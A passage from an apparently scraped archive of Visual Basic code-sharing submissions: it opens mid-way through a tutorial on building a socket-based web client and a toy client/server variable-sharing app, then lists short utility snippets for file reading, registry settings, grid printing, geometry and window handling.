for \nWindows.\nMost Internet client/server systems use sockets to interface with TCP/IP. A socket is an abstract representation \nfor a program of one end of an Internet connection. There are three basic kinds of sockets: client, server, and \nlistener. A server application will have a listener socket do nothing but wait for incoming connection requests. \nThat application will decide, when one arrives, whether or not to accept this request. If it accepts it, it will \nactually bind that connection to a server socket. Most servers have many server sockets that can be allocated; at \nleast one for each active connection. The client application only needs a client socket. Either side can \ndisconnect, which simply breaks the connection on both sides.\nOnce a connection is established, each side can send bytes of data to the other. That data will always arrive at \nthe other side in the same order it was sent. Both sides can be sending data at the same time, too. This is called \na \"data stream\". All data that gets sent between a client and server passes through this stream.\nEverything else that applies to the <A HREF=\"#clientserver\">client/server</A> concept applies here as well, so \nwe'll dispense with the details and get right into Internet programming with the Sockets controls.\n\n<A NAME=\"package\">\n The Sockets Package \n The Sockets package, which you can download via the link in the <A HREF=\"#preface\">preface</A>, is a collection \nof controls that simplify interfacing with the Winsock API and hence the Internet. There are controls for each of \nthe three types of sockets: client, server, and listener. There is also a control that combines one listener \nsocket and a bank of server sockets. This control hides the gory details of socket management that most servers \notherwise have to do themselves. A server that uses this control won't need to directly deal with the listener or \nserver sockets.\nWe won't get deeply into the details of the Sockets package here. Let me encourage you to refer to \"help.html\", \nthe help file that came with the Sockets package you <A HREF=\"#preface\">downloaded</A>.\n\n<A NAME=\"browser\">\n Build a Basic Web Browser \n The HTTP protocol that drives the World Wide Web is surely the most used TCP/IP application. It's wonderful \nthat it should also be one of the easiest to master. We'll do this by building a simple web browser. It won't have \nall the advanced features like WYSIWYG, scripting, and so on, but it will demonstrate the basic secrets behind HTTP.\nBefore we get started, you'll need to make sure you have access to the web without the use of a proxy to get \nthrough a firewall. If you're inside a corporate intranet, you may at least have access to your own company's web \nservers. If you're not sure about all this or can't run the program we'll be building, consult your network \nadministrator.\nNow, let's start by creating our project and building a form. Our project needs to include the \"Sockets\" \ncomponent, which is the \"Sockets.ocx\" file that came with the Sockets package we downloaded. The form should look a \nlittle something like this:\n<CENTER><TABLE BGCOLOR=\"#CCCCCC\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"2\">\n<TR><TD BGCOLOR=\"000066\"> Form1 </TD></TR>\n<TR><TD><TABLE>\n<TR>\n <TD>Url: </TD>\n<TD><TABLE BGCOLOR=\"#FFFFFF\" WIDTH=\"100\" CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> \n Name = \"Host\" </TD></TR></TABLE></TD>\n<TD><TABLE BGCOLOR=\"#FFFFFF\" WIDTH=\"200\" CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> \n Name = \"Path\" </TD></TR></TABLE></TD>\n <TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> Go </TD></TR></TABLE></TD>\n </TR><TR>\n <TD COLSPAN=\"4\"><TABLE BGCOLOR=\"#FFFFFF\" WIDTH=\"100%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n Name = \"Contents\" \n \n \n<TABLE BGCOLOR=\"#FFFF99\" CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"1\" ALIGN=\"RIGHT\"><TR><TD> CS </TD></TR></TABLE>\n</TD></TR></TABLE></TD>\n </TR>\n</TABLE></TD>\n</TR>\n</TABLE></CENTER>\n\"CS\" is a ClientSocket control. Be sure to give the button labeled \"Go\" the name \"Go\". Now enter the following \ncode in the form module:\n<PRE>\nPrivate Sub Go_Click()\n Contents.Text = \"\"\n CS.Connect Host.Text, 80\n CS.Send \"GET \" & Path.Text & vbCrLf & vbCrLf\n While CS.Connected\n If CS.BytesReceived > 0 Then\n Contents.SelText = CS.Receive\n End If\n DoEvents\n Wend\nEnd Sub\n</PRE>\nHard to believe it could be that easy, but it is. Try running this with <TT>Host</TT> = \n\"www.planet-source-code.com\" and <TT>Path</TT> = \"/vb/\". Not surprisingly, this won't look as nice as it does in, \nsay, Internet Explorer, but that's because we're only retrieving what the server has to offer. We're not actually \nreading what comes back to decide what to make of it. That's much harder. But the network interaction part is at \nthe heart of what your Internet programming effort will most often be about. This code could form the basis of a \nprogram to grab information from one of your business partners' web sites to populate your own database: perhaps \nthe latest pricing and availability figures; or perhaps to get a car's blue book value from a search engine.\nSince this article isn't fundamentally about web browsers, we'll skip these sorts of details. Instead, we'll now \nbuild a custom client / server application from scratch.\n\n<A NAME=\"csapp\">\n Build a Complete Client / Server App \n The Nature of the Beast \n We've talked about the <A HREF=\"#clientserver\">client / server</A> concept and we've <A HREF=\"#browser\">built a \nweb browser</A> to demonstrate a client. Let's now invent an Internet protocol of our own and build client and \nserver programs to implement it.\nOur application's purpose will be simple: to allow a number of different computers share some data variables in a \nway that allows all of them to not only read and write those variables, but also to be aware of any changes to that \ndata by other computers as they happen.\nWhat sort of information protocol do we need to make this happen? Obviously, we'll want the clients interested \nto be able to connect to a server that maintains the data. We'll keep it simple by not allowing any client to be \ndisconnected during a session. We'll want to require clients to log in at the beginning of the session. The \nclients will need to be able to send commands to the server (\"remote procedures\") and get a response for each \ncommand invocation. We'll allow communication to be asynchronous, meaning the client won't have to wait for a \nresponse to a given command before continuing. We'll also need to have the server be able to trigger events the \nclient can make use of. Here are the messages our clients and server will need to be able to exchange:\n<UL>\n<LI>LogIn <user> <password>\n<LI>LogInResult <true_or_false>\n<LI>GetValue <name>\n<LI>GetAllValues\n<LI>SetValue <name> <value>\n<LI>ValueEquals <name> <value>\n<LI>ValueChanged <by_user> <name> <value>\n</UL>\nHow will we represent a message? A message will begin with a message name (e.g., \"GetValue\") and will have zero \nor more parameters. Each message will be followed by <TT><CR><LF></TT>, the standard way Windows \nprograms represent a new line. We'll put a space after the message name and between each parameter. Because we've \ngiven special meaning to the new-line character combination and the space character, we can't use them anywhere \nwithin the message names or the parameters. What if a parameter contains one of these special character \ncombinations? Our protocol will include \"metacharacters\", or special combinations of characters that are meant to \nrepresent other character combinations. Here are the characters and what we'll be replacing them with:\n<TABLE>\n <TR><TD><LI>\"\\\" </TD><TD> => \"\\b\" </TD><TD> (\"b\" for \"backslash\") </TD></TR>\n<TR><TD><LI>\" \" </TD><TD> => \"\\s\" </TD><TD> (\"s\" for \"space\") </TD></TR>\n<TR><TD><LI>vbCr </TD><TD> => \"\\r\" </TD><TD> (\"r\" for \"carriage return\") </TD></TR>\n<TR><TD><LI>vbLf </TD><TD> => \"\\l\" </TD><TD> (\"l\" for \"line feed\") </TD></TR>\n</TABLE>\nNote that we're even replacing the backslash (\\) character with a metacharacter because we're also giving special \nmeaning to backslash as the start of a metacharacter representation.\n The Code \n Let's create the project. As before, the project needs to include the \"Sockets\" component, which is the \n\"Sockets.ocx\" file that came with the Sockets package we downloaded. Create two forms, called \"Server\" and \n\"Client\". They should look like the following:\n<CENTER><TABLE BGCOLOR=\"#CCCCCC\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"2\">\n<TR><TD BGCOLOR=\"000066\"> Server </TD></TR>\n<TR><TD><TABLE>\n<TR>\n<TD COLSPAN=\"4\"><TABLE BGCOLOR=\"#FFFFFF\" WIDTH=\"100%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n Type = ListBox\n Name = \"Connections\" \n \n<TABLE BGCOLOR=\"#FFFF99\" CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"1\" ALIGN=\"RIGHT\"><TR><TD> SSB </TD></TR></TABLE>\n</TD></TR></TABLE></TD>\n </TR>\n</TABLE></TD>\n</TR>\n</TABLE></CENTER>\n\n<CENTER><TABLE BGCOLOR=\"#CCCCCC\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"2\">\n<TR><TD BGCOLOR=\"000066\"> Client </TD></TR>\n<TR><TD><TABLE>\n<TR>\n<TD ALIGN=\"RIGHT\"><TABLE CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> Start the Server \n </TD></TR></TABLE></TD>\n<TD COLSPAN=\"3\" ALIGN=\"LEFT\"><TABLE CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> Launch Another Client \n </TD></TR></TABLE></TD>\n</TR><TR>\n <TD><TABLE BGCOLOR=\"#FFFFFF\" CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> \n Name = \"VarName\" </TD></TR></TABLE></TD>\n <TD><TABLE BGCOLOR=\"#FFFFFF\" CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> \n Name = \"VarValue\" </TD></TR></TABLE></TD>\n <TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> Set </TD></TR></TABLE></TD>\n </TR><TR>\n <TD COLSPAN=\"4\"><TABLE BGCOLOR=\"#FFFFFF\" WIDTH=\"100%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n Type = ListBox\n Name = \"VarList\" \n \n<TABLE BGCOLOR=\"#FFFF99\" CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"1\" ALIGN=\"RIGHT\"><TR><TD> CS </TD></TR></TABLE>\n</TD></TR></TABLE></TD>\n </TR>\n</TABLE></TD>\n</TR>\n</TABLE></CENTER>\n\n\"CS\" is a ClientSocket control. \"SSB\" is a ServerSocketBank control. We'll give the button labeled \"Set\" the \nname \"SetVar\". We'll call the other two buttons on the client \"StartServer\" and \"AnotherClient\". Here's the code \nfor the server:\n\n<CENTER><TABLE BGCOLOR=\"#FFFFDD\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<PRE>\nPrivate VariableNames As Collection\nPrivate Variables As Collection\n 'Let's do something with this message\nPrivate Sub ProcessMessage(Socket, Message)\n Dim i, Session\n Set Session = Socket.ExtraTag\n If Not Session(\"LoggedIn\") _\n And Message(0) <> \"LogIn\" Then Exit Sub\n Select Case Message(0)\n Case \"LogIn\"\n If Message(2) = \"pollywog\" Then\n SetItem Session, \n\"LoggedIn\", True\n SetItem Session, \n\"User\", Message(1)\n SendMessage Socket, \n\"LogInResult\", \"True\"\n Else\n SetItem Session, \n\"LoggedIn\", False\n SendMessage Socket, \n\"LogInResult\", \"False\"\n End If\n RefreshDisplay\n Case \"GetValue\"\n On Error Resume Next\n i = Variables(Message(1))\n On Error GoTo 0\n SendMessage \"ValueEquals\", Message(1), i\n Case \"GetAllValues\"\n For i = 1 To VariableNames.Count\n SendMessage Socket, \n\"ValueEquals\", _\n Variable\nNames(i), Variables(i)\n Next\n Case \"SetValue\"\n SetItem VariableNames, Message(1), \nMessage(1)\n SetItem Variables, Message(1), Message(2)\n SSB.Broadcast \"ValueChanged \" & _\n Encode(Session(\"User\")) & \" \" & \n_\n Encode(Message(1)) & \" \" & _\n Encode(Message(2)) & vbCrLf\n End Select\nEnd Sub\n 'Refresh the list box of connections\nPrivate Sub RefreshDisplay()\n Dim i As Integer\n Connections.Clear\n For i = 1 To SSB.MaxSocket\n If SSB.IsInUse(i) Then\n Connections.AddItem i & vbTab & \nSSB(i).ExtraTag(\"User\")\n Else\n Connections.AddItem i & vbTab & \"<not in \nuse>\"\n End If\n Next\nEnd Sub\n 'Initialize everything and start listening\nPrivate Sub Form_Load()\n Set VariableNames = New Collection\n Set Variables = New Collection\n SetItem VariableNames, \"x\", \"x\"\n SetItem Variables, \"x\", 12\n SetItem VariableNames, \"y\", \"y\"\n SetItem Variables, \"y\", \"ganlion\"\n SSB.Listen STANDARD_PORT\nEnd Sub\n 'A client just connected\nPrivate Sub SSB_Connected(Index As Integer, _\n Socket As Object)\n Dim Session\n Set Session = New Collection\n SetItem Session, \"LoggedIn\", False\n SetItem Session, \"User\", \"\"\n SetItem Session, \"Buffer\", \"\"\n Set Socket.ExtraTag = Session\n RefreshDisplay\nEnd Sub\n 'A client just disconnected\nPrivate Sub SSB_Disconnect(Index As Integer, _\n Socket As Object)\n RefreshDisplay\nEnd Sub\n 'A client sent message data\nPrivate Sub SSB_DataArrival(Index As Integer, _\n Socket As Object, Bytes As Long)\n Dim Message, Buffer\n Buffer = Socket.ExtraTag(\"Buffer\") & Socket.Receive\n SetItem Socket.ExtraTag, \"Buffer\", Buffer\n While ParseMessage(Buffer, Message)\n SetItem Socket.ExtraTag, \"Buffer\", Buffer\n ProcessMessage Socket, Message\n Wend\nEnd Sub\n</PRE>\n</TD></TR></TABLE></CENTER>\nThe core of this code is the <TT>ProcessMessage</TT> subroutine. The message that's passed to it will be an \narray of strings representing the message name and its parameters. This array is generated by the \n<TT>ParseMessage</TT> routine, which we'll get to momentarily.\nNow here's the code for the client form's module:\n\n<CENTER><TABLE BGCOLOR=\"#FFFFDD\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<PRE>\nPrivate VariableNames As Collection\nPrivate Variables As Collection\nPrivate Buffer As String\nPrivate User As String\n 'Let's do something with this message\nPrivate Sub ProcessMessage(Socket, Message)\n Dim i\n Select Case Message(0)\n Case \"LogInResult\"\n If Message(1) = False Then\n MsgBox \"Login \ndenied\"\n CS.Disconnect\n Else\n SetVar.Enabled = \nTrue\n SendMessage CS, \n\"GetAllValues\"\n End If\n Case \"ValueEquals\"\n SetItem VariableNames, Message(1), \nMessage(1)\n SetItem Variables, Message(1), Message(2)\n RefreshDisplay\n Case \"ValueChanged\"\n SetItem VariableNames, Message(2), \nMessage(2)\n SetItem Variables, Message(2), Message(3)\n RefreshDisplay\n If Message(1) <> User Then\n MsgBox Message(2) & \n\" was changed by \" & Message(1)\n End If\n End Select\nEnd Sub\n 'Refresh the list box of variables\nPrivate Sub RefreshDisplay()\n Dim i\n VarList.Clear\n For i = 1 To VariableNames.Count\n VarList.AddItem VariableNames(i) & \" = \" & Variables(i)\n Next\nEnd Sub\n 'Initialize everything and connect to the server\nPrivate Sub Form_Load()\n Dim Host, Password\n SetVar.Enabled = False\n Set VariableNames = New Collection\n Set Variables = New Collection\n Me.Show\n Host = InputBox(\"Server's host or IP address\", , \"localhost\")\n CS.Connect Host, STANDARD_PORT\n User = InputBox(\"Your username\", , \"johndoe\")\n Password = InputBox(\"Your password\", , \"pollywog\")\n DoEvents\n SendMessage CS, \"LogIn\", User, Password\n DoEvents\nEnd Sub\n 'Unintentionally lost the connection\nPrivate Sub CS_Disconnect()\n SetVar.Enabled = False\n MsgBox \"You've been disconnected :(\"\nEnd Sub\n 'Message data have arrived from the server\nPrivate Sub CS_DataArrival(Bytes As Long)\n Dim Message, Buffer\n Buffer = Buffer & CS.Receive\n While ParseMessage(Buffer, Message)\n ProcessMessage CS, Message\n Wend\nEnd Sub\n 'The user clicked \"Launch Another Client\"\nPrivate Sub AnotherClient_Click()\n Dim NewClient As New Client\n NewClient.Show\nEnd Sub\n 'The user clicked \"Set\"\nPrivate Sub SetVar_Click()\n SendMessage CS, \"SetValue\", _\n VarName.Text, VarValue.Text\nEnd Sub\n</PRE>\n</TD></TR></TABLE></CENTER>\nAs with the server, the core of the client's operation is the <TT>ProcessMessage</TT> subroutine. Since both the \nclient and server use many of the same mechanisms, we'll be putting them into a shared library module we'll call \n\"Shared\" (\".bas\"):\n\n<CENTER><TABLE BGCOLOR=\"#FFFFDD\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<PRE>\n'The port the server listens for connections on\nPublic Const STANDARD_PORT = 300\n 'The start-up routine\nPublic Sub Main()\n Dim NewClient As New Client\n If MsgBox(\"Want to launch a server?\", vbYesNo) = vbYes Then\n Server.Show\n End If\n NewClient.Show\nEnd Sub\n 'Set an item in the collection\nPublic Sub SetItem(Col, Key, Value)\n Dim Temp\n On Error Resume Next\n Temp = Col(Key)\n If Err.Number = 0 Then Col.Remove Key\n On Error GoTo 0\n Col.Add Value, Key\nEnd Sub\n 'Replace \"unsafe\" characters with metacharacters\nPublic Function Encode(Value)\n Encode = Replace(Value, \"\\\", \"\\b\")\n Encode = Replace(Encode, \" \", \"\\s\")\n Encode = Replace(Encode, vbCr, \"\\c\")\n Encode = Replace(Encode, vbLf, \"\\l\")\nEnd Function\n 'Replace metacharacters with their original characters\nPublic Function Decode(Value)\n Decode = Replace(Value, \"\\l\", vbLf)\n Decode = Replace(Decode, \"\\c\", vbCr)\n Decode = Replace(Decode, \"\\s\", \" \")\n Decode = Replace(Decode, \"\\b\", \"\\\")\nEnd Function\n 'Encode and send a message\nPublic Sub SendMessage(Socket, Name, ParamArray Parameters())\n Dim Message, i\n Message = Encode(Name)\n For i = 0 To UBound(Parameters)\n Message = Message & \" \" & _\n Encode(Parameters(i))\n Next\n Message = Message & vbCrLf\n Socket.Send CStr(Message)\nEnd Sub\n 'Is there a complete message ready? Extract it and decode.\nPublic Function ParseMessage(Buffer, Message)\n Dim i\n ParseMessage = False\n i = InStr(1, Buffer, vbCrLf)\n If i = 0 Then Exit Function\n Message = Split(Left(Buffer, i - 1), \" \")\n Buffer = Mid(Buffer, i + 2)\n For i = 0 To UBound(Message)\n Message(i) = Decode(Message(i))\n Next\n ParseMessage = True\nEnd Function\n</PRE>\n</TD></TR></TABLE></CENTER>\nBe sure to make \"<TT>Sub Main</TT>\" the start-up object in the project's properties.\n\n Process Flow \n Now let's analyze what's going on here. First, since the server has to handle multiple sessions, it needs to \nmaintain session data for each session. This happens as soon as the connection is established in the \n<TT>SSB_Connected()</TT> event handler. The ServerSocket object passed in, called \"<TT>Socket</TT>\", has its \n<TT>ExtraTag</TT> value set to a new Collection object, which we'll use to hold session data for this \nconnection/session. We add three values to it: \"LoggedIn\", \"User\", and \"Buffer\". \"LoggedIn\" is a boolean value \nindicating whether or not the client has properly logged in. We don't want the client to do anything else until \nthat happens. \"User\" is the ID of the user that logged in. \"Buffer\" is where we'll temporarily store all data \nreceived from the client until we detect and parse out a complete message for processing.\nThe <TT>ParseMessage()</TT> function in the shared module is called whenever data are received. This routine \nlooks for the first occurrence of <TT><CR><LF></TT>, indicating the end of a complete message. If it \nfinds it, it grabs everything before this new-line, splits it up by space characters, and puts the parts into the \n<TT>Message</TT> array. Naturally, it shortens the buffer to discard this message from it. <TT>ParseMessage()</TT> \nreturns true only if it does detect and parse one complete message. There could be more, but this function only \ncares about the first one it finds.\nOnce a message is found, <TT>ProcessMessage</TT> is called, with the array containing the parsed message passed \nin. This routine will immediately exit if the client has not yet logged in, unless this message is actually the \n\"LogIn\" command. Otherwise, The \"<TT>Select Case Message(0)</TT>\" block directs control to whatever block of code \nis associated with <TT>Message(0)</TT>, the message name.\nOf course, the server needs to send messages to the client, too. It does this using the <TT>SendMessage()</TT> \nsubroutine in the shared library, which takes the message parts and encodes them into our message format, being sure \nto translate \"unsafe\" characters like spaces into their metacharacter counterparts. It then sends this formatted \nmessage to the indicated socket control.\nThis is really all the server does. Of particular note, however, is what happens when a client sends the \n\"SetValue\" command message. Not only does the server update its list of variables. It also broadcasts a message to \nall the clients indicating that that value has changed using the <TT>.BroadCast()</TT> method of the \nServerSocketBank control.\nNow on to the client. The client form uses the same basic methodology, including the use of \n<TT>ParseMessage()</TT>, and <TT>SendMessage()</TT>, and <TT>ProcessMessage()</TT> (which is different for the \nclient, of course, since it has to deal with different messages).\nWhere the client really differs from the server is in its initialization sequence. Upon loading, the client \nimmediately tries to connect to the server (with the user providing details of where to find the server and whom to \nlog in as). As soon as it's connected, it sends the \"LogIn\" message with the provided user information.\nWhen the user clicks on the \"Set\" button, the client sends a \"SetValue\" message with the variable's name and \nvalue. As was mentioned before, the server responds by broadcasting to all the connected clients the new value and \nidentifying which user changed it.\n How can We Use this? \n Taking a step back, it seems rather silly to imagine that anyone would want to actually use our client / server \napplication the way it is. But it does demonstrate a powerful concept rarely employed in even the most modern \nbusiness applications: real-time refresh. What if, for example, a typical data entry form connected to a database \nwere automatically updated when another user changed some part of the data this user is looking at? This paradigm \nis also used in all online chat systems. It can be used for shared blackboards or spreadsheets.\nThe particularly neat thing about this approach to real-time refreshing is that the client is not expected to \noccasionally poll the server for the latest stuff - which may be a total refresh of the relevant screen or data. \nThe server actively sends updated data to all the clients as information changes.\nIf we wanted to be able to pass binary data, like files or images, we could make the <TT>ParseMessage()</TT> \nroutine a little more sophisticated by buffering bytes instead of string data (using the Sockets controls' \n<TT>.ReceiveBinary()</TT> methods). The <TT>ProcessMessage</TT> routine could then turn the message name into text \nand the individual message handlers could decide which parameters to translate into plain text and which to use in \nbinary form. (Be aware, though, that the buffers used by the Sockets controls can only store as much as any VB byte \narray - about 32KB. One may need to send multiple messages if he needs to transmit a large chunk of binary data.)\n\n<A NAME=\"conclusion\">\n Conclusion \n Programming Internet applications opens up a whole new vista of opportunities. This is especially true as \norganizations are realizing that they no longer have to commit their budgets to single-platform solutions. \nIntegrating disparate systems using TCP/IP as a common communication protocol gives unprecedented flexibility. The \nSockets package provides an excellent way to quickly and painlessly build both client and server systems. These can \nbe the glue that binds together lots of existing systems both inside and outside a corporate intranet. Or they can \nbe used to develop complete end products from web browsers to database engines.\nThe use of the Internet protocols will only grow in the coming years. It's not too late to jump on board. And \nthe simple truth is that there is no single Internet protocl - not HTTP, not MessageQ, nor any other - that yet \nanswers the needs of all applications. That's why people keep developing new ones. Starting at the essential \nfoundation - TCP/IP itself - ensures one the greatest flexibility of choices and can even help free one from the \ndangers of proprietary standards that can lock one in to a single vendor and platform, like Microsoft's DCOM.\nInternet programming is power. The Sockets package makes it easy.\n"},{"WorldId":1,"id":9336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3964,"LineNumber":1,"line":"Public Function ReadFile(ByVal sFileName As String) As String\n Dim fhFile As Integer\n fhFile = FreeFile\n Open sFileName For Binary As #fhFile\n ReadFile = Input$(LOF(fhFile), fhFile)\n Close #fhFile\nEnd Function\n"},{"WorldId":1,"id":10293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9109,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8654,"LineNumber":1,"line":"\nDirectSS1.speak text \n\n' text can be whatever you want, for example, text1.text can be used, or whatever else you can think of."},{"WorldId":1,"id":8185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9401,"LineNumber":1,"line":"SaveSetting \"Folder Name\", \"Sub-Folder Name\" , \"Key Name\" , \"Key Value\" \n' Writes to the registry under HKEY_CURRENT_USER,VB AND VBA PROGRAM SETTINGS. (then your folder) This is good for keeping track of runtimes, user settings, ect..\nGetSetting \"Folder Name\", \"Sub-Folder Name\", \"Key\"\n' Retrives the value of the KEY specified in the code. So, if KEY's value was 5, then it would return a value of 5.\n"},{"WorldId":1,"id":8186,"LineNumber":1,"line":"Sub PrintGrid(pGrid As MSFlexGrid, sTitulo As String, pHorizontal As Boolean)\n' pGrid = The grid to print\n' sTitulo = Page Title\n' pHorizontal = True for Landscape\n On Error GoTo ErrorImpresion\n Dim i As Integer\n Dim iMaxRow As Integer\n Dim j As Integer\n Dim msfGrid As MSFlexGrid\n Dim iPaginas As Integer\n \n Printer.ColorMode = vbPRCMMonochrome\n Printer.PrintQuality = 160\n \n ' fMainForm.MSFlexGrid1 is an invisible msflexgrid \n ' used only for this routine\n ' put it where your want and reference it apropiately\n Set msfGrid = fMainForm.MSFlexGrid1\n msfGrid.FixedCols = 0\n msfGrid.Clear\n \n If pHorizontal = True Then\n Printer.Orientation = vbPRORLandscape\n iMaxRow = 44\n Else\n Printer.Orientation = vbPRORPortrait\n iMaxRow = 57\n End If\n \n ' calcula el n├║mero de p├íginas\n If pGrid.Rows Mod iMaxRow = 0 Then\n iPaginas = pGrid.Rows \\ iMaxRow\n Else\n iPaginas = pGrid.Rows \\ iMaxRow + 1\n End If\n \n msfGrid.Rows = iMaxRow\n \n msfGrid.Cols = pGrid.Cols\n For i = 0 To pGrid.Cols - 1\n msfGrid.ColWidth(i) = pGrid.ColWidth(i)\n Next\n \n screen.mousepointer = 11 ' hourglass\n \n ' print some logo -> comment or change as desired\n Printer.PaintPicture fMainForm.ImageList1.ListImages(1).Picture, 0, 0, 4300, 600\n ' imprime t├¡tulo\n Printer.CurrentY = 650\n Printer.FontName = \"Courier New\"\n Printer.FontBold = True\n Printer.FontSize = 12\n Printer.Print sTitulo\n Printer.Print\n \n ' justifica a la derecha fecha de impresi├│n\n If pHorizontal = True Then\n Printer.CurrentX = 10000\n Else\n Printer.CurrentX = 7000\n End If\n Printer.CurrentY = 0\n Printer.FontSize = 10\n Printer.Print Now & \" - P├íg 1 de \" & iPaginas\n \n For i = 0 To pGrid.Rows - 2 + iPaginas\n If i Mod iMaxRow = 0 And i > 0 Then\n With msfGrid\n .Row = 0\n .Col = 0\n .ColSel = 0\n .RowSel = 0\n If pHorizontal Then\n Printer.PaintPicture .Picture, 20, 1250, 15000, 10350\n Else\n Printer.PaintPicture .Picture, 20, 1250, 11400, 13950\n End If\n End With\n Printer.NewPage\n msfGrid.Clear\n For j = 0 To msfGrid.Cols - 1\n ' restablece t├¡tulos\n msfGrid.TextMatrix(0, j) = pGrid.TextMatrix(0, j)\n Next\n \n ' print logo\n Printer.PaintPicture fMainForm.ImageList1.ListImages(23).Picture, 0, 0, 4300, 600\n \n Printer.CurrentY = 650\n Printer.FontSize = 12\n Printer.Print sTitulo\n Printer.Print\n ' justifica a la derecha fecha de impresi├│n\n If pHorizontal = True Then\n Printer.CurrentX = 10000\n Else\n Printer.CurrentX = 7000\n End If\n Printer.CurrentY = 0\n Printer.FontSize = 10\n Printer.Print Now & \" - P├íg \" & i \\ iMaxRow + 1 & \" de \" & iPaginas\n \n i = i + 1 ' deja t├¡tulos\n End If\n For j = 0 To msfGrid.Cols - 1\n msfGrid.TextMatrix(i Mod iMaxRow, j) = pGrid.TextMatrix(i - i \\ iMaxRow, j)\n Next\n Next\n \n With msfGrid\n .Row = 0\n .Col = 0\n .ColSel = 0\n .RowSel = 0\n If pHorizontal Then\n Printer.PaintPicture .Picture, 20, 1250, 15000, 10350\n Else\n Printer.PaintPicture .Picture, 20, 1250, 11400, 13950\n End If\n End With\n \n Printer.EndDoc\n MsgBox sTitulo & vbCrLf & \"Se ha(n) enviado \" & iPaginas & \" p├ígina(s) a la impresora \" & Printer.DeviceName, vbInformation, Printer.Port\n \nsalir:\n Set msfGrid = Nothing\n pubCursorDefault\n Exit Sub\n \nErrorImpresion:\n Printer.KillDoc\n MsgBox \"Verify printer\", vbCritical, \"Printer Error\"\n Resume salir\nEnd Sub\n"},{"WorldId":1,"id":8898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8225,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8236,"LineNumber":1,"line":"Function LineLen(x1, y1, x2, y2)\n\t'This function will simply give you the length\n\t'of a line using the coordinates of its two\n\t'endpoints.\n\tDim A, B As Single\n\tA = Abs(x2 - x1)\n\tB = Abs(y2 - y1)\n\tLineLen = Sqr(A ^ 2 + B ^ 2)\nEnd Function\n\nFunction Arccos(X As Single)\n\tIf X = 1 Then Arccos = 0: Exit Function\n\tArccos = Atn(-X / Sqr(-X * X + 1)) + 2 * Atn(1)\nEnd Function\n\n\nPublic Function CalcAnAngle(CenterX, CenterY, x2, y2, x3, y3)\n\t'This function will take three coordinates and\n\t'automagically turn them into an angle.\n\t'The angle is the one located at CenterX, CenterY\n\t'For example:\n\t' / X2,Y2\n\t' /\n\t' /\n\t' < CenterX,CenterY\n\t' \\\n\t' \\\n\t' \\ X3,Y3\n\t'CalcAnAngle will return the angle, in degrees,\n\t'of the center vertex.\n\tOn Error Resume Next\n\tDim SideA, SideB, SideC As Single\n\tSideC = lineLen(CenterX, CenterY, x2, y2)\n\tSideB = lineLen(CenterX, CenterY, x3, y3)\n\tSideA = lineLen(x3, y3, x2, y2)\n\ta = Arccos((SideA ^ 2 - SideB ^ 2 - SideC ^ 2) / (SideB * SideC * -2))\n\tCalcAnAngle = a * (180 / 3.141)\n\t'VB seems to like to work in confusing units\n\t'called Radians instead of good ol' degrees.\n\t'Multiplying by (180 / 3.141) converts radians\n\t'to degrees.\n\nEnd Function"},{"WorldId":1,"id":8409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8734,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8419,"LineNumber":1,"line":"Private Sub cmdFatalAppExit_Click()\n FatalAppExit 0, \"You can replace this message with one of your own.\" & vbLf & vbLf & \"Multiple lines are allowed too!\"\nEnd Sub\nPrivate Sub cmdFatalExit_Click()\n FatalExit 1\nEnd Sub"},{"WorldId":1,"id":8252,"LineNumber":1,"line":"' The is the function to set a form always on top\nPrivate Sub OnTop(frm As Form, OnTop As Boolean)\n If OnTop = True Then\n SetWindowPos frm.hWnd, SWP_TOPMOST, 0, 0, 0, 0, &H1\n Else\n SetWindowPos frm.hWnd, SWP_NOTOPMOST, 0, 0, 0, 0, &H1\n End If\nEnd Sub\n' Paints the cursor image to the picturebox\nPrivate Sub PaintCursor()\n Dim pt As POINTAPI\n Dim hWnd As Long\n Dim dwThreadID, dwCurrentThreadID As Long\n Dim hCursor\n \n ' Get the position of the cursor\n GetCursorPos pt\n ' Then get the handle of the window the cursor is over\n hWnd = WindowFromPoint(pt.x, pt.y)\n \n ' Get the PID of the thread\n ThreadID = GetWindowThreadProcessId(hWnd, vbNull)\n \n ' Get the thread of our program\n CurrentThreadID = App.ThreadID\n \n ' If the cursor is \"owned\" by a thread other than ours, attach to that thread and get the cursor\n If CurrentThreadID 